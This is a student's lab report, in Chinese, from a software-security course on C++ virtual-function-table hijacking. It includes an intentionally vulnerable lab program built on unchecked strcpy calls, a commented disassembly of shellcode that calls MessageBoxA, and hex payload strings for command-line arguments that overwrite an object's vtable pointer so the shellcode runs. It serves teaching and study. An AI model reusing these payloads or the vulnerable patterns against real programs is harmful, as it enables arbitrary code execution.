软件安全第五次实验报告

其实是第四次实验,但是老师给的名称叫实验五。

实验目标

1.要求A

(1)了解虚函数攻击的基本原理

(2)调试虚函数攻击代码,理解虚函数工作机制与内存分布方式,掌握基本的虚函数攻击与计算方式,并可以用OllyDbg/x32Dbg/IDA Pro追踪观察。

(3)我们已经将shellcode直接写成变量在程序中,通过修改虚函数表指针,指向我们伪造的虚函数表,运行我们的shellcode。(注意程序中的shellcode的某些函数地址,可能需要修改,可直接在程序运行时直接在内存中修改。或者直接修改main.cpp,重新编译),如果你有自己编写shellcode的想法,也可以自行在main.cpp中重新编译。

2.要求B

(1)在不修改源代码的情况下,研究如何利用栈溢出的方式攻击目标代码,通过命令行的方式植入shellcode,弹出对话框。(利用虚函数的特性实现shellcode注入即可)

3.要求C

(1)详述调试及追踪过程

(2)实验结果需要截图证明(如果自己编写shellcode,则需要重新编写的main.cpp和生成的.exe文件)

实验步骤与结果

了解虚函数攻击的基本原理

1.了解虚函数

(1)虚函数是C++实现多态性的重要方式。关于多态,简而言之就是用父类型的指针指向其子类的 实例,然后通过父类的指针调用实际子类的成员函数。这种技术可以让父类的指针有“多种形态”,这是一种泛型技术。C++的多态分为静态多态(编译时多态)和动态多态(运行时多态)两大类。静态多态通过重载、模板来实现;动态多态就是通过虚函数来体现的。

(2)虚函数(Virtual Function)是通过一张虚函数表vtbl(Virtual Table)来实现的。当一个类声明了虚函数或者继承了虚函数,这个类就会有自己的vtbl。对于一个包含虚函数的类的对象,在它的其他成员变量前会有一个虚表指针vptr(virtual table pointer),vptr指向它自己的虚表vtbl。当调用一个虚函数时,首先通过对象内存中的vptr找到虚函数表vtbl,接着通过vtbl找到对应虚函数的实现区域并进行调用。

2.包含虚函数的类的对象的内存布局如下。

图1

3.了解虚函数攻击

由于C++虚函数表vtbl本身不可写,而虚函数表指针vptr一般处于可读数据段是可写的,对于C++虚函数的攻击也的本质可以称之为C++虚函数表的劫持。我们可以在实例调用虚函数之前,修改虚函数表的指针,让它指向伪造的虚函数表,在伪造的虚函数表中让虚函数指针指向shellcode。

图2

虚函数题目A

1.分析程序流程

(1)声明了一个类,具有一个成员变量buf和一个虚函数test,同时创建了一个它的实例overflow和一 个指向该类的指针

1
2
3
4
5
6
7
8
9
10
class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};
vf overflow, *p;

(2)加载了动态链接库”user32.dll”;通过实例overflow成员变量buf的地址,找到实例overflow的虚表指针vptr,修改虚表指针的地址。之后strcpy(overflow.buf,shellcode1)函数,利用缓冲区溢出的方式,植入shellcode;之后调用实例overflow的虚函数test();而这时它的虚表指针已经发生变化了,所以运行的应该是shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void main(void)
{
LoadLibrary("user32.dll");
char * p_vtable;
p_vtable=overflow.buf-4;//point to virtual table
//__asm int 3
//reset fake virtual table to 0x004088cc
//the address may need to ajusted via runtime debug
p_vtable[0]=0x30;
p_vtable[1]=0xE4;
p_vtable[2]=0x42;
p_vtable[3]=0x00;
strcpy(overflow.buf,shellcode1);//set fake virtual function pointer
p=&overflow;
p->test();
}

(3)shellcode关键代码分析

地址 机器码 汇编代码 作用
0042E39C 33DB xor ebx,ebx 将ebx置零
0042E39E 53 push ebx 将0入栈,作为截断字符
0042E39F 6862757074 push 0x74707562 将字符串”bupt”入栈
0042E3A4 6862757074 push 0x74707562 将字符串”bupt”入栈
0042E3A9 8BC4 mov eax,esp eax中保存字符串”buptbupt”
0042E3AB 53 push ebx 0入栈,函数MessageBoxA()的参数
0042E3AC 50 push eax 字符”buptbupt”入栈,函数MessageBoxA()的参数
0042E3AD 50 push eax 字符”buptbupt”入栈,函数MessageBoxA()的参数
0042E3AE 53 push ebx 0入栈,函数MessageBoxA()的参数
0042E3AF B8683DE277 mov eax,0x77E23D68
0042E3B4 FFD0 call eax 调用函数MessageBoxA()

2.利用x32dbg进行动态调试

(1)定位到修改虚表指针的代码,首先利用overflow实例的成员变量buf定位到虚表指针,其中vf.42e35c-4就是虚表指针的位置,因为overflow实例是一个全局变量,所以这个指向虚函数表 的指针存在于全局变量区,是可以修改的。

图3

(2)在修改前,在内存vf.42e35c-4处可以看到原本的虚表指针,它指向的虚表是在只读数据段的。修改前,在内存vf.42e35c-4处可以看到原本的虚表指针0042E358,它指向的虚表是在只读数据段的。这段代码将这个虚表指针修改了,修改成一个指向0042e430的指针,在0042e430处保存新的虚表。

(3)继续跟进,程序之后调用strcpy函数将shellcode复制到了overflow实例的成员变量buf 上,而在这段内存中可以看到,修改之后的新的虚表的前四个字节是class vf的第一个虚函数,它指向了shellcode的开头,所以当overflow 实例调用虚函数时,就会自动跳转到shellcode之中。

图4

(4)跟进代码到程序对虚函数test()的调用处:

①mov dword ptr ds:[0x42E350],vf.42E358:将overflow实例的地址赋值给一个指针,这个指针既表示overflow实例,也表示overflow实例的虚表指针

②mov edx,dword ptr ds:[0x42E350] mov eax,dword ptr ds:[edx]:通过 overflow实例的虚表指针找到它的虚表,虚表在eax中

③call dword ptr ds:[eax]:直接调用虚表中的第一个函数,也就是程序以为的test()函数

图5

图6

(5)这段代码跑完之后,函数自动跳转到0042e35c,也就是虚表中的第一个函数的入口点

图7

图8

(6)接下来执行shellcode,这里对MessageBoxA()函数的地址有问题,可以通过动态查询MessageBoxA的函数地址,修改程序之后执行。

图9

图10

(7)执行完毕之后,程序可以成功弹出弹窗。

图11

虚函数题目B

1.分析程序流程

(1)声明了两个类,他们各自拥有一个成员变量和一个虚函数。之后各自创建了一个实例overflow、overflow1和一个指向各自实例的指针。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
class vf
{
public:
char buf[200];
virtual void test(void)
{
cout<<"Class Vtable::test()"<<endl;
}
};

class vf1
{
public:
char buf[64];
virtual void test(void)
{
cout<<"Class Vtable1::test()"<<endl;
}
};
vf overflow, *p;
vf1 overflow1, *p1;

(2)首先加载了动态链接库user32.dll,之后对主函数的参数个数进行判断,如果参数个数不为3就输出并退出,否则就将参数argv[1]和argv[2]赋值给overflow.buf和overflow1.buf。此处 就存在shellcode植入的机会,之后调用overflow.test()。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
if (argc == 3)
{
strcpy(overflow.buf,argv[1]);
strcpy(overflow1.buf,argv[2]);//set fake virtual function pointer
p=&overflow;
p->test();
}
else
{
printf("vf argv1 argv2\n");
}
}

2.利用x32dbg进行动态调试

(1)随意输入两段利于定位的字符串,在程序执行完两端strcpy操作之后打个断点,观察内存情况。

图12

图13

(2)可以利用args[2]复写overflow实例虚表,让他指向shellcode,并通过arg[1]构造shellcode。

# args[1]
‘’’
66 81 EC 40 04 33 DB 53
68 62 75 70 74 68 62 75
70 74 8B C4 53 50 50 53
B8 00 49 F5 75 FF D0 53
B8 00 B1 E6 76 FF D0 66
5C EB 42
‘’’

# args[2]
“””
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 84 EB 42
“””

(3)其中,两个函数MessageBoxA和ExitProcess通过查找得到地址。

图14

图15

(4)当两个字符串通过strcpy传入之后,内存情况如下。

图16

(5)当程序调用overflow实例的虚函数test()时,就会跳转到shellcode上,然后成功输出弹窗,并且程序可以正常运行。

图17

实验结论

本次虚函数攻击实验让我对C++底层机制的安全风险有了颠覆性的认识。在调试过程中,当我第一次看到虚函数表指针在内存中的具体位置,并成功通过计算偏移量修改其指向伪造的虚函数表时,我深刻意识到面向对象编程的”封装”和”多态”特性在内存层面竟是如此脆弱。通过单步跟踪虚函数调用过程,我观察到程序在调用虚函数时,会先通过对象内存起始地址的vptr指针找到虚函数表,再根据函数索引跳转到对应地址执行。这个原本用于实现多态的正常机制,一旦被恶意利用,就能成为攻击的突破口。

在栈溢出攻击实践中,我尝试通过精心构造的输入数据覆盖返回地址,并将shellcode植入栈中。这个过程让我体会到内存布局的精确计算的重要性。不仅需要准确计算虚函数表指针的偏移,还要考虑栈帧的对齐和地址随机化等现代防护机制的影响。当我成功通过命令行参数注入shellcode并弹出对话框时,我既为攻击的成功感到兴奋,也为这类漏洞的潜在危害感到担忧。这让我认识到,软件开发中任何一个看似微小的内存操作失误,都可能成为安全漏洞的根源。

通过这次实验,我深刻理解了软件安全课程的现实意义。安全不是可以事后添加的功能,而应该从程序设计之初就深入每一个环节。无论是虚函数表的安全验证,还是栈溢出的防护措施,都需要开发人员具备系统性的安全思维。这次实验不仅锻炼了我的逆向工程和漏洞分析能力,更重要的是让我建立起”攻击者思维”,这将帮助我在未来的开发工作中更好地预见和防范安全风险。理论与实践的结合,让我真正体会到安全研究的价值所在,只有深入理解攻击原理,才能构建更可靠的软件防护体系。

实验报告持续更新中…